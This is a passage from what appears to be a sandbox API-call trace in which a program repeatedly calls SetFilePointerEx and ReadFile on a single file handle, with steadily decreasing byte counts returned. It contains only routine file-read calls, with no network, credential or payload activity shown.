(in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2ed, lpOverlapped=0x0) returned 1 [0068.902] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.902] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.902] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2e5, lpOverlapped=0x0) returned 1 [0068.902] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.902] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.902] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2dd, lpOverlapped=0x0) returned 1 [0068.902] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.903] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.903] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2d5, lpOverlapped=0x0) returned 1 [0068.903] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.903] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.903] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2cd, lpOverlapped=0x0) returned 1 [0068.903] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.903] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.903] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2c5, lpOverlapped=0x0) returned 1 [0068.903] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.903] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.903] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2bd, lpOverlapped=0x0) returned 1 [0068.903] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.903] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.903] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2b5, lpOverlapped=0x0) returned 1 [0068.903] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.904] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.904] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2ad, lpOverlapped=0x0) returned 1 [0068.904] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.904] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.904] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2a5, lpOverlapped=0x0) returned 1 [0068.904] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.904] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.904] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x29d, lpOverlapped=0x0) returned 1 [0068.904] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.904] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.904] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x295, lpOverlapped=0x0) returned 1 [0068.904] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.904] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.904] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x28d, lpOverlapped=0x0) returned 1 [0068.905] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.905] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.905] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x285, lpOverlapped=0x0) returned 1 [0068.905] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.905] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.905] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x27d, lpOverlapped=0x0) returned 1 [0068.905] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.905] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.905] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x275, lpOverlapped=0x0) returned 1 [0068.905] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.905] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.905] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x26d, lpOverlapped=0x0) returned 1 [0068.905] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.905] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.906] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x265, lpOverlapped=0x0) returned 1 [0068.906] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.906] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.906] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x25d, lpOverlapped=0x0) returned 1 [0068.906] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.906] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.906] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x255, lpOverlapped=0x0) returned 1 [0068.906] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.906] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x24d, lpOverlapped=0x0) returned 1 [0068.906] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x245, lpOverlapped=0x0) returned 1 [0068.906] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x23d, lpOverlapped=0x0) returned 1 [0068.906] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x235, lpOverlapped=0x0) returned 1 [0068.906] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x22d, lpOverlapped=0x0) returned 1 [0068.907] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x225, lpOverlapped=0x0) returned 1 [0068.907] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x21d, lpOverlapped=0x0) returned 1 [0068.907] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x215, lpOverlapped=0x0) returned 1 [0068.907] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x20d, lpOverlapped=0x0) returned 1 [0068.907] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x205, lpOverlapped=0x0) returned 1 [0068.907] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1fd, lpOverlapped=0x0) returned 1 [0068.907] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1f5, lpOverlapped=0x0) returned 1 [0068.907] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1ed, lpOverlapped=0x0) returned 1 [0068.907] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1e5, lpOverlapped=0x0) returned 1 [0068.907] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1dd, lpOverlapped=0x0) returned 1 [0068.907] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1d5, lpOverlapped=0x0) returned 1 [0068.908] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1cd, lpOverlapped=0x0) returned 1 [0068.908] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1c5, lpOverlapped=0x0) returned 1 [0068.908] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1bd, lpOverlapped=0x0) returned 1 [0068.908] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1b5, lpOverlapped=0x0) returned 1 [0068.908] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1ad, lpOverlapped=0x0) returned 1 [0068.908] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1a5, lpOverlapped=0x0) returned 1 [0068.908] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x19d, lpOverlapped=0x0) returned 1 [0068.908] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x195, lpOverlapped=0x0) returned 1 [0068.908] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x18d, lpOverlapped=0x0) returned 1 [0068.908] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x185, lpOverlapped=0x0) returned 1 [0068.908] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x17d, lpOverlapped=0x0) returned 1 [0068.908] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x175, lpOverlapped=0x0) returned 1 [0068.909] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x16d, lpOverlapped=0x0) returned 1 [0068.909] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x165, lpOverlapped=0x0) returned 1 [0068.909] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x15d, lpOverlapped=0x0) returned 1 [0068.909] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x155, lpOverlapped=0x0) returned 1 [0068.909] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x14d, lpOverlapped=0x0) returned 1 [0068.909] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x145, lpOverlapped=0x0) returned 1 [0068.909] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x13d, lpOverlapped=0x0) returned 1 [0068.909] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x135, lpOverlapped=0x0) returned 1 [0068.909] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x12d, lpOverlapped=0x0) returned 1 [0068.909] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x125, lpOverlapped=0x0) returned 1 [0068.909] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x11d, lpOverlapped=0x0) returned 1 [0068.909] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x115, lpOverlapped=0x0) returned 1 [0068.910] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x10d, lpOverlapped=0x0) returned 1 [0068.910] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x105, lpOverlapped=0x0) returned 1 [0068.910] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xfd, lpOverlapped=0x0) returned 1 [0068.910] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xf5, lpOverlapped=0x0) returned 1 [0068.910] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xed, lpOverlapped=0x0) returned 1 [0068.910] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xe5, lpOverlapped=0x0) returned 1 [0068.910] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xdd, lpOverlapped=0x0) returned 1 [0068.910] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xd5, lpOverlapped=0x0) returned 1 [0068.910] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xcd, lpOverlapped=0x0) returned 1 [0068.910] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc5, lpOverlapped=0x0) returned 1 [0068.910] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xbd, lpOverlapped=0x0) returned 1 [0068.910] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb5, lpOverlapped=0x0) returned 1 [0068.910] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xad, lpOverlapped=0x0) returned 1 [0068.910] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xa5, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x9d, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x95, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, 